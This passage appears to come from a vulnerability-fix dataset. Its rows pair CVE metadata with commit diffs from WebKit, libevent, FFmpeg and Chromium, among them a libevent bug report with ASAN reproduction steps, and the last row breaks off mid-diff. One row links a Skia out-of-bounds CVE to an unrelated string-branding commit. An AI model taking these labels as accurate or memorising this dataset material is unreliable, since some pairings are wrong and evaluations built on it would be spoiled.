-1809,6 +1809,7 @@ PassRefPtr<Attr> Element::setAttributeNode(Attr* attrNode, ExceptionCode& ec)\n setAttributeInternal(index, attrNode->qualifiedName(), attrNode->value(), NotInSynchronizationOfLazyAttribute);\n \n attrNode->attachToElement(this);\n+ treeScope()->adoptIfNeeded(attrNode);\n ensureAttrNodeListForElement(this)->append(attrNode);\n \n return oldAttrNode.release();"}
|
size_t ElementData::getAttrIndex(Attr* attr) const
{
for (unsigned i = 0; i < length(); ++i) {
if (attributeItem(i)->name() == attr->qualifiedName())
return i;
}
return notFound;
}
|
size_t ElementData::getAttrIndex(Attr* attr) const
{
for (unsigned i = 0; i < length(); ++i) {
if (attributeItem(i)->name() == attr->qualifiedName())
return i;
}
return notFound;
}
|
C
| null | null | null |
@@ -1809,6 +1809,7 @@ PassRefPtr<Attr> Element::setAttributeNode(Attr* attrNode, ExceptionCode& ec)
setAttributeInternal(index, attrNode->qualifiedName(), attrNode->value(), NotInSynchronizationOfLazyAttribute);
attrNode->attachToElement(this);
+ treeScope()->adoptIfNeeded(attrNode);
ensureAttrNodeListForElement(this)->append(attrNode);
return oldAttrNode.release();
|
Chrome
|
4ac8bc08e3306f38a5ab3e551aef6ad43753579c
|
a8ece285c70c60709aa8e33a9d4b58bb88401301
| 0
|
size_t ElementData::getAttrIndex(Attr* attr) const
{
// This relies on the fact that Attr's QualifiedName == the Attribute's name.
for (unsigned i = 0; i < length(); ++i) {
if (attributeItem(i)->name() == attr->qualifiedName())
return i;
}
return notFound;
}
|
70,588
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-10197
|
https://www.cvedetails.com/cve/CVE-2016-10197/
|
CWE-125
|
Low
| null | null | null |
2017-03-15
| 5
|
The search_make_new function in evdns.c in libevent before 2.1.6-beta allows attackers to cause a denial of service (out-of-bounds read) via an empty hostname.
|
2018-01-04
|
DoS
| 0
|
https://github.com/libevent/libevent/commit/ec65c42052d95d2c23d1d837136d1cf1d9ecef9e
|
ec65c42052d95d2c23d1d837136d1cf1d9ecef9e
|
evdns: fix searching empty hostnames
From #332:
Here follows a bug report by **Guido Vranken** via the _Tor bug bounty program_. Please credit Guido accordingly.
## Bug report
The DNS code of Libevent contains this rather obvious OOB read:
```c
static char *
search_make_new(const struct search_state *const state, int n, const char *const base_name) {
const size_t base_len = strlen(base_name);
const char need_to_append_dot = base_name[base_len - 1] == '.' ? 0 : 1;
```
If the length of ```base_name``` is 0, then line 3125 reads 1 byte before the buffer. This will trigger a crash on ASAN-protected builds.
To reproduce:
Build libevent with ASAN:
```
$ CFLAGS='-fomit-frame-pointer -fsanitize=address' ./configure && make -j4
```
Put the attached ```resolv.conf``` and ```poc.c``` in the source directory and then do:
```
$ gcc -fsanitize=address -fomit-frame-pointer poc.c .libs/libevent.a
$ ./a.out
=================================================================
==22201== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60060000efdf at pc 0x4429da bp 0x7ffe1ed47300 sp 0x7ffe1ed472f8
READ of size 1 at 0x60060000efdf thread T0
```
P.S. we can add a check earlier, but since this is very uncommon, I didn't add it.
Fixes: #332
| 0
|
evdns.c
|
{"sha": "e9dbc35c60662ccda395d21d95997193840b4b57", "filename": "evdns.c", "status": "modified", "additions": 4, "deletions": 1, "changes": 5, "blob_url": "https://github.com/libevent/libevent/blob/ec65c42052d95d2c23d1d837136d1cf1d9ecef9e/evdns.c", "raw_url": "https://github.com/libevent/libevent/raw/ec65c42052d95d2c23d1d837136d1cf1d9ecef9e/evdns.c", "contents_url": "https://api.github.com/repos/libevent/libevent/contents/evdns.c?ref=ec65c42052d95d2c23d1d837136d1cf1d9ecef9e", "patch": "@@ -3175,9 +3175,12 @@ search_set_from_hostname(struct evdns_base *base) {\n static char *\n search_make_new(const struct search_state *const state, int n, const char *const base_name) {\n \tconst size_t base_len = strlen(base_name);\n-\tconst char need_to_append_dot = base_name[base_len - 1] == '.' ? 0 : 1;\n+\tchar need_to_append_dot;\n \tstruct search_domain *dom;\n \n+\tif (!base_len) return NULL;\n+\tneed_to_append_dot = base_name[base_len - 1] == '.' ? 0 : 1;\n+\n \tfor (dom = state->head; dom; dom = dom->next) {\n \t\tif (!n--) {\n \t\t\t/* this is the postfix we want */"}
|
evdns_base_resolv_conf_parse(struct evdns_base *base, int flags, const char *const filename) {
int res;
EVDNS_LOCK(base);
res = evdns_base_resolv_conf_parse_impl(base, flags, filename);
EVDNS_UNLOCK(base);
return res;
}
|
evdns_base_resolv_conf_parse(struct evdns_base *base, int flags, const char *const filename) {
int res;
EVDNS_LOCK(base);
res = evdns_base_resolv_conf_parse_impl(base, flags, filename);
EVDNS_UNLOCK(base);
return res;
}
|
C
| null | null | null |
@@ -3175,9 +3175,12 @@ search_set_from_hostname(struct evdns_base *base) {
static char *
search_make_new(const struct search_state *const state, int n, const char *const base_name) {
const size_t base_len = strlen(base_name);
- const char need_to_append_dot = base_name[base_len - 1] == '.' ? 0 : 1;
+ char need_to_append_dot;
struct search_domain *dom;
+ if (!base_len) return NULL;
+ need_to_append_dot = base_name[base_len - 1] == '.' ? 0 : 1;
+
for (dom = state->head; dom; dom = dom->next) {
if (!n--) {
/* this is the postfix we want */
|
libevent
|
ec65c42052d95d2c23d1d837136d1cf1d9ecef9e
|
d7348bab602cf4dbdf65b9eeba2fb9ce4646bc0b
| 0
|
evdns_base_resolv_conf_parse(struct evdns_base *base, int flags, const char *const filename) {
int res;
EVDNS_LOCK(base);
res = evdns_base_resolv_conf_parse_impl(base, flags, filename);
EVDNS_UNLOCK(base);
return res;
}
|
67,022
| null |
Remote
|
Not required
|
Partial
|
CVE-2017-7865
|
https://www.cvedetails.com/cve/CVE-2017-7865/
|
CWE-787
|
Low
|
Partial
|
Partial
| null |
2017-04-14
| 7.5
|
FFmpeg before 2017-01-24 has an out-of-bounds write caused by a heap-based buffer overflow related to the ipvideo_decode_block_opcode_0xA function in libavcodec/interplayvideo.c and the avcodec_align_dimensions2 function in libavcodec/utils.c.
|
2017-04-20
|
Overflow
| 0
|
https://github.com/FFmpeg/FFmpeg/commit/2080bc33717955a0e4268e738acf8c1eeddbf8cb
|
2080bc33717955a0e4268e738acf8c1eeddbf8cb
|
avcodec/utils: correct align value for interplay
Fixes out of array access
Fixes: 452/fuzz-1-ffmpeg_VIDEO_AV_CODEC_ID_INTERPLAY_VIDEO_fuzzer
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
| 0
|
libavcodec/utils.c
|
{"sha": "4ae752ff2ffad74045545b8e4ac3d4c28eec5834", "filename": "libavcodec/utils.c", "status": "modified", "additions": 6, "deletions": 1, "changes": 7, "blob_url": "https://github.com/FFmpeg/FFmpeg/blob/2080bc33717955a0e4268e738acf8c1eeddbf8cb/libavcodec/utils.c", "raw_url": "https://github.com/FFmpeg/FFmpeg/raw/2080bc33717955a0e4268e738acf8c1eeddbf8cb/libavcodec/utils.c", "contents_url": "https://api.github.com/repos/FFmpeg/FFmpeg/contents/libavcodec/utils.c?ref=2080bc33717955a0e4268e738acf8c1eeddbf8cb", "patch": "@@ -376,6 +376,10 @@ void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height,\n w_align = 4;\n h_align = 4;\n }\n+ if (s->codec_id == AV_CODEC_ID_INTERPLAY_VIDEO) {\n+ w_align = 8;\n+ h_align = 8;\n+ }\n break;\n case AV_PIX_FMT_PAL8:\n case AV_PIX_FMT_BGR8:\n@@ -385,7 +389,8 @@ void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height,\n w_align = 4;\n h_align = 4;\n }\n- if (s->codec_id == AV_CODEC_ID_JV) {\n+ if (s->codec_id == AV_CODEC_ID_JV ||\n+ s->codec_id == AV_CODEC_ID_INTERPLAY_VIDEO) {\n w_align = 8;\n h_align = 8;\n }"}
|
int ff_decode_frame_props(AVCodecContext *avctx, AVFrame *frame)
{
return ff_init_buffer_info(avctx, frame);
}
|
int ff_decode_frame_props(AVCodecContext *avctx, AVFrame *frame)
{
return ff_init_buffer_info(avctx, frame);
}
|
C
| null | null | null |
@@ -376,6 +376,10 @@ void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height,
w_align = 4;
h_align = 4;
}
+ if (s->codec_id == AV_CODEC_ID_INTERPLAY_VIDEO) {
+ w_align = 8;
+ h_align = 8;
+ }
break;
case AV_PIX_FMT_PAL8:
case AV_PIX_FMT_BGR8:
@@ -385,7 +389,8 @@ void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height,
w_align = 4;
h_align = 4;
}
- if (s->codec_id == AV_CODEC_ID_JV) {
+ if (s->codec_id == AV_CODEC_ID_JV ||
+ s->codec_id == AV_CODEC_ID_INTERPLAY_VIDEO) {
w_align = 8;
h_align = 8;
}
|
FFmpeg
|
2080bc33717955a0e4268e738acf8c1eeddbf8cb
|
0b607228bf7260a13404ef98bf87bafeaeecbfa8
| 0
|
int ff_decode_frame_props(AVCodecContext *avctx, AVFrame *frame)
{
return ff_init_buffer_info(avctx, frame);
}
|
115,993
| null |
Remote
|
Not required
|
Partial
|
CVE-2011-3104
|
https://www.cvedetails.com/cve/CVE-2011-3104/
|
CWE-119
|
Low
| null | null | null |
2012-05-24
| 5
|
Skia, as used in Google Chrome before 19.0.1084.52, allows remote attackers to cause a denial of service (out-of-bounds read) via unspecified vectors.
|
2017-09-18
|
DoS Overflow
| 0
|
https://github.com/chromium/chromium/commit/6b5f83842b5edb5d4bd6684b196b3630c6769731
|
6b5f83842b5edb5d4bd6684b196b3630c6769731
|
[i18n-fixlet] Make strings branding specific in extension code.
IDS_EXTENSIONS_UNINSTALL
IDS_EXTENSIONS_INCOGNITO_WARNING
IDS_EXTENSION_INSTALLED_HEADING
IDS_EXTENSION_ALERT_ITEM_EXTERNAL And fix a $1 $1 bug.
IDS_EXTENSION_INLINE_INSTALL_PROMPT_TITLE
BUG=NONE
TEST=NONE
Review URL: http://codereview.chromium.org/9107061
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@118018 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
chrome/browser/extensions/extension_global_error.cc
|
{"sha": "17b94b5b0bab3a87c084c439a04d43039f47cd62", "filename": "chrome/app/chromium_strings.grd", "status": "modified", "additions": 24, "deletions": 0, "changes": 24, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/app/chromium_strings.grd", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/app/chromium_strings.grd", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/app/chromium_strings.grd?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -575,6 +575,30 @@ Chromium is unable to recover your settings.\n </message>\n </if>\n \n+ <!-- Extension/App install prompt -->\n+ <message name=\"IDS_EXTENSION_INLINE_INSTALL_PROMPT_TITLE\" desc=\"Titlebar of the extension or app inline installation prompt window\">\n+ Add to Chromium\n+ </message>\n+\n+ <!-- Extension alerts. -->\n+ <message name=\"IDS_EXTENSION_ALERT_ITEM_EXTERNAL\" desc=\"A statement that an external extension has been newly installed. End users have no idea what an 'external' extension is, so we simply call them extensions.\">\n+The extension \"<ph name=\"EXTENSION_NAME\">$1<ex>Gmail Checker</ex></ph>\" has been added to Chromium.\n+'''\n+ </message>\n+\n+ <!-- Extension installed bubble -->\n+ <message name=\"IDS_EXTENSION_INSTALLED_HEADING\" desc=\"First line in the content area of the extension installed bubble. Instructs that the extension was installed.\">\n+ <ph name=\"EXTENSION_NAME\">$1<ex>Gmail Checker</ex></ph> has been added to Chromium.\n+ </message>\n+\n+ <!-- chrome://settings/extensions page -->\n+ <message name=\"IDS_EXTENSIONS_INCOGNITO_WARNING\" desc=\"Warns the user that Chromium cannot prevent extensions from recording history in incognito mode. Displayed in extensions management UI after an extension is selected to be run in incognito mode.\">\n+ <ph name=\"BEGIN_BOLD\"><b></ph>Warning:<ph name=\"END_BOLD\"></b></ph> Chromium cannot prevent extensions from recording your browsing history. To disable this extension in incognito mode, unselect this option.\n+ </message>\n+ <message name=\"IDS_EXTENSIONS_UNINSTALL\" desc=\"The link for uninstalling extensions.\">\n+ Remove from Chromium\n+ </message>\n+\n <if expr=\"is_macosx\">\n <message name=\"IDS_APP_MENU_PRODUCT_NAME\" desc=\"The application's short name, used for the Mac's application menu, activity monitor, etc. This should be less than 16 characters. Example: Chrome, not Google Chrome.\">\n Chromium"}<_**next**_>{"sha": "3eaa6683a0b68357c2b27a42dbb65d5aba7e7b22", "filename": "chrome/app/generated_resources.grd", "status": "modified", "additions": 0, "deletions": 17, "changes": 17, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/app/generated_resources.grd", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/app/generated_resources.grd", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/app/generated_resources.grd?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -3935,9 +3935,6 @@ Public Exponent (<ph name=\"PUBLIC_EXPONENT_NUM_BITS\">$3<ex>24</ex></ph> bits):\n <message name=\"IDS_EXTENSION_INSTALL_EXTENSION_PROMPT_TITLE\" desc=\"Titlebar of the extension or app installation prompt window\">\n Confirm New Extension\n </message>\n- <message name=\"IDS_EXTENSION_INLINE_INSTALL_PROMPT_TITLE\" desc=\"Titlebar of the extension or app inline installation prompt window\">\n- Add to <ph name=\"SHORT_PRODUCT_NAME\">$1<ex>Chrome</ex></ph>\n- </message>\n <message name=\"IDS_EXTENSION_UNINSTALL_PROMPT_TITLE\" desc=\"Titlebar of the extension or app uninstallation prompt window\">\n Confirm Removal\n </message>\n@@ -3964,10 +3961,6 @@ Public Exponent (<ph name=\"PUBLIC_EXPONENT_NUM_BITS\">$3<ex>24</ex></ph> bits):\n <message name=\"IDS_EXTENSION_ALERT_TITLE\" desc=\"Titlebar of the extension notification alert\">\n Confirm Changes\n </message>\n- <message name=\"IDS_EXTENSION_ALERT_ITEM_EXTERNAL\" desc=\"A statement that an external extension has been newly installed. End users have no idea what an 'external' extension is, so we simply call them extensions.\">\n-The extension \"<ph name=\"EXTENSION_NAME\">$1<ex>Gmail Checker</ex></ph>\" has been added to <ph name=\"PRODUCT_NAME_SHORT\">$1<ex>Chrome</ex></ph>.\n-'''\n- </message>\n <message name=\"IDS_EXTENSION_ALERT_ITEM_BLACKLISTED\" desc=\"A statement that an extension has been newly blacklisted. http://www.google.com/support/chrome/bin/answer.py?hl=en&answer=1210215 contains the language on which we're basing the phrasing.\">\n The extension \"<ph name=\"EXTENSION_NAME\">$1<ex>Gmail Checker</ex></ph>\" was automatically removed.\n '''\n@@ -4192,10 +4185,6 @@ Update checks have repeatedly failed for the extension \"<ph name=\"EXTENSION_NAME\n </message>\n \n <!-- Extension installed bubble -->\n- <message name=\"IDS_EXTENSION_INSTALLED_HEADING\" desc=\"First line in the content area of the extension installed bubble. Instructs that the extension was installed.\">\n- <ph name=\"EXTENSION_NAME\">$1<ex>Gmail Checker</ex></ph> has been added to <ph name=\"SHORT_PRODUCT_NAME\">$2<ex>Chrome</ex></ph>.\n- </message>\n-\n <message name=\"IDS_EXTENSION_INSTALLED_APP_INFO\" desc=\"Text displayed inside a link when an app is installed. Clicking this link opens up the New Tab Page to show the app's icon.\">\n Show me\n </message>\n@@ -4284,15 +4273,9 @@ Update checks have repeatedly failed for the extension \"<ph name=\"EXTENSION_NAME\n <message name=\"IDS_EXTENSIONS_VISIT_WEBSITE\" desc=\"The link for visiting the extension's gallery page.\">\n View in Web Store\n </message>\n- <message name=\"IDS_EXTENSIONS_INCOGNITO_WARNING\" desc=\"Warns the user that Chrome cannot prevent extensions from recording history in incognito mode. Displayed in extensions management UI after an extension is selected to be run in incognito mode.\">\n- <ph name=\"BEGIN_BOLD\"><b></ph>Warning:<ph name=\"END_BOLD\"></b></ph> <ph name=\"PRODUCT_NAME\">$1<ex>Google Chrome</ex></ph> cannot prevent extensions from recording your browsing history. To disable this extension in incognito mode, unselect this option.\n- </message>\n <message name=\"IDS_EXTENSIONS_RELOAD\" desc=\"The link for reloading extensions.\">\n Reload\n </message>\n- <message name=\"IDS_EXTENSIONS_UNINSTALL\" desc=\"The link for uninstalling extensions.\">\n- Remove from <ph name=\"SHORT_PRODUCT_NAME\">$1<ex>Chrome</ex></ph>\n- </message>\n <message name=\"IDS_EXTENSIONS_OPTIONS\" desc=\"The button text for the options button.\">\n Options\n </message>"}<_**next**_>{"sha": "b104b24bc2ffcbd688814a54e5945fe8b7746b3a", "filename": "chrome/app/google_chrome_strings.grd", "status": "modified", "additions": 24, "deletions": 0, "changes": 24, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/app/google_chrome_strings.grd", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/app/google_chrome_strings.grd", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/app/google_chrome_strings.grd?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -550,6 +550,30 @@ Google Chrome is unable to recover your settings.\n </message>\n </if>\n \n+ <!-- Extension/App install prompt -->\n+ <message name=\"IDS_EXTENSION_INLINE_INSTALL_PROMPT_TITLE\" desc=\"Titlebar of the extension or app inline installation prompt window\">\n+ Add to Chrome\n+ </message>\n+\n+ <!-- Extension alerts. -->\n+ <message name=\"IDS_EXTENSION_ALERT_ITEM_EXTERNAL\" desc=\"A statement that an external extension has been newly installed. End users have no idea what an 'external' extension is, so we simply call them extensions.\">\n+The extension \"<ph name=\"EXTENSION_NAME\">$1<ex>Gmail Checker</ex></ph>\" has been added to Chrome.\n+'''\n+ </message>\n+\n+ <!-- Extension installed bubble -->\n+ <message name=\"IDS_EXTENSION_INSTALLED_HEADING\" desc=\"First line in the content area of the extension installed bubble. Instructs that the extension was installed.\">\n+ <ph name=\"EXTENSION_NAME\">$1<ex>Gmail Checker</ex></ph> has been added to Chrome.\n+ </message>\n+\n+ <!-- chrome://settings/extensions page -->\n+ <message name=\"IDS_EXTENSIONS_INCOGNITO_WARNING\" desc=\"Warns the user that Chrome cannot prevent extensions from recording history in incognito mode. Displayed in extensions management UI after an extension is selected to be run in incognito mode.\">\n+ <ph name=\"BEGIN_BOLD\"><b></ph>Warning:<ph name=\"END_BOLD\"></b></ph> Google Chrome cannot prevent extensions from recording your browsing history. To disable this extension in incognito mode, unselect this option.\n+ </message>\n+ <message name=\"IDS_EXTENSIONS_UNINSTALL\" desc=\"The link for uninstalling extensions.\">\n+ Remove from Chrome\n+ </message>\n+\n <if expr=\"is_macosx\">\n <message name=\"IDS_APP_MENU_PRODUCT_NAME\" desc=\"The application's short name, used for the Mac's application menu, activity monitor, etc. This should be less than 16 characters. Example: Chrome, not Google Chrome.\">\n Chrome"}<_**next**_>{"sha": "f926baaad141db343484a2c7b3fa4049dbada764", "filename": "chrome/browser/extensions/extension_context_menu_model.cc", "status": "modified", "additions": 2, "deletions": 3, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/extensions/extension_context_menu_model.cc", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/extensions/extension_context_menu_model.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/extensions/extension_context_menu_model.cc?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -70,8 +70,7 @@ void ExtensionContextMenuModel::InitCommonCommands() {\n AddSeparator();\n AddItemWithStringId(CONFIGURE, IDS_EXTENSIONS_OPTIONS);\n AddItemWithStringId(DISABLE, IDS_EXTENSIONS_DISABLE);\n- AddItem(UNINSTALL, l10n_util::GetStringFUTF16(IDS_EXTENSIONS_UNINSTALL,\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME)));\n+ AddItem(UNINSTALL, l10n_util::GetStringUTF16(IDS_EXTENSIONS_UNINSTALL));\n if (extension->browser_action())\n AddItemWithStringId(HIDE, IDS_EXTENSIONS_HIDE_BUTTON);\n AddSeparator();"}<_**next**_>{"sha": "f499317d43a786a235b74e67bfe2a046f8c4002c", "filename": "chrome/browser/extensions/extension_global_error.cc", "status": "modified", "additions": 3, "deletions": 5, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/extensions/extension_global_error.cc", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/extensions/extension_global_error.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/extensions/extension_global_error.cc?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -98,10 +98,8 @@ string16 ExtensionGlobalError::GenerateMessageSection(\n for (ExtensionIdSet::const_iterator iter = extensions->begin();\n iter != extensions->end(); ++iter) {\n const Extension* e = extension_service_->GetExtensionById(*iter, true);\n- message += l10n_util::GetStringFUTF16(\n- template_message_id,\n- string16(ASCIIToUTF16(e->name())),\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME));\n+ message += l10n_util::GetStringFUTF16(template_message_id,\n+ string16(ASCIIToUTF16(e->name())));\n }\n return message;\n }"}<_**next**_>{"sha": "1ae8529fa7785fa74a4dec07d6f44e115fefe717", "filename": "chrome/browser/extensions/extension_install_ui.cc", "status": "modified", "additions": 1, "deletions": 4, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/extensions/extension_install_ui.cc", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/extensions/extension_install_ui.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/extensions/extension_install_ui.cc?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -111,9 +111,6 @@ string16 ExtensionInstallUI::Prompt::GetDialogTitle(\n return l10n_util::GetStringUTF16(extension->is_app() ?\n IDS_EXTENSION_INSTALL_APP_PROMPT_TITLE :\n IDS_EXTENSION_INSTALL_EXTENSION_PROMPT_TITLE);\n- } else if (type_ == INLINE_INSTALL_PROMPT) {\n- return l10n_util::GetStringFUTF16(\n- kTitleIds[type_], l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME));\n } else {\n return l10n_util::GetStringUTF16(kTitleIds[type_]);\n }"}<_**next**_>{"sha": "6020d313352d7e7a6d43e5bc68d6c88dedce6af6", "filename": "chrome/browser/ui/cocoa/extensions/extension_action_context_menu.mm", "status": "modified", "additions": 2, "deletions": 4, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/cocoa/extensions/extension_action_context_menu.mm", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/cocoa/extensions/extension_action_context_menu.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/extensions/extension_action_context_menu.mm?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -174,9 +174,7 @@ - (id)initWithExtension:(const Extension*)extension\n [NSMenuItem separatorItem],\n l10n_util::GetNSStringWithFixup(IDS_EXTENSIONS_OPTIONS),\n l10n_util::GetNSStringWithFixup(IDS_EXTENSIONS_DISABLE),\n- l10n_util::GetNSStringFWithFixup(\n- IDS_EXTENSIONS_UNINSTALL,\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME)),\n+ l10n_util::GetNSStringWithFixup(IDS_EXTENSIONS_UNINSTALL),\n l10n_util::GetNSStringWithFixup(IDS_EXTENSIONS_HIDE_BUTTON),\n [NSMenuItem separatorItem],\n l10n_util::GetNSStringWithFixup(IDS_MANAGE_EXTENSIONS),"}<_**next**_>{"sha": "1639f73eaa30ad9138f10edb0a61f5ff9d6e1119", "filename": "chrome/browser/ui/cocoa/extensions/extension_installed_bubble_bridge.mm", "status": "modified", "additions": 6, "deletions": 7, "changes": 13, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/cocoa/extensions/extension_installed_bubble_bridge.mm", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/cocoa/extensions/extension_installed_bubble_bridge.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/extensions/extension_installed_bubble_bridge.mm?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -38,12 +38,11 @@ static void ShowGenericExtensionInstalledInfoBar(\n \n string16 extension_name = UTF8ToUTF16(new_extension->name());\n base::i18n::AdjustStringForLocaleDirection(&extension_name);\n- string16 msg = l10n_util::GetStringFUTF16(\n- IDS_EXTENSION_INSTALLED_HEADING,\n- extension_name,\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME)) +\n- UTF8ToUTF16(\" \") +\n- l10n_util::GetStringUTF16(IDS_EXTENSION_INSTALLED_MANAGE_INFO_MAC);\n+ string16 msg = l10n_util::GetStringFUTF16(IDS_EXTENSION_INSTALLED_HEADING,\n+ extension_name)\n+ + UTF8ToUTF16(\" \")\n+ + l10n_util::GetStringUTF16(\n+ IDS_EXTENSION_INSTALLED_MANAGE_INFO_MAC);\n InfoBarTabHelper* infobar_helper = wrapper->infobar_tab_helper();\n InfoBarDelegate* delegate = new SimpleAlertInfoBarDelegate(\n infobar_helper, new gfx::Image(new SkBitmap(icon)), msg, true);"}<_**next**_>{"sha": "caf502bdf0289f8beb816385d9307c696f11eca8", "filename": "chrome/browser/ui/cocoa/extensions/extension_installed_bubble_controller.mm", "status": "modified", "additions": 2, "deletions": 3, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/cocoa/extensions/extension_installed_bubble_controller.mm", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/cocoa/extensions/extension_installed_bubble_controller.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/extensions/extension_installed_bubble_controller.mm?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -1,4 +1,4 @@\n-// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n+// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n@@ -305,8 +305,7 @@ - (int)calculateWindowHeight {\n string16 extension_name = UTF8ToUTF16(extension_->name().c_str());\n base::i18n::AdjustStringForLocaleDirection(&extension_name);\n [extensionInstalledMsg_ setStringValue:l10n_util::GetNSStringF(\n- IDS_EXTENSION_INSTALLED_HEADING, extension_name,\n- l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME))];\n+ IDS_EXTENSION_INSTALLED_HEADING, extension_name)];\n [GTMUILocalizerAndLayoutTweaker\n sizeToFitFixedWidthTextField:extensionInstalledMsg_];\n newWindowHeight += [extensionInstalledMsg_ frame].size.height +"}<_**next**_>{"sha": "e992b237f9493f7657de6e8724ef77d71c8df56d", "filename": "chrome/browser/ui/gtk/extensions/extension_installed_bubble_gtk.cc", "status": "modified", "additions": 1, "deletions": 2, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/gtk/extensions/extension_installed_bubble_gtk.cc", "raw_url": "https://github.com/chromium/chromium/raw/6b5f83842b5edb5d4bd6684b196b3630c6769731/chrome/browser/ui/gtk/extensions/extension_installed_bubble_gtk.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/extensions/extension_installed_bubble_gtk.cc?ref=6b5f83842b5edb5d4bd6684b196b3630c6769731", "patch": "@@ -223,8 +223,7 @@ void ExtensionInstalledBubbleGtk::ShowInternal() {\n string16 extension_name = UTF8ToUTF16(extension_->name());\n base::i18n::AdjustStringForLocaleDirection(&extension_name);\n std::string heading_text = l10n_util::GetStringFUTF8(\n- IDS_EXTENSION_INSTALLED_HEADING, 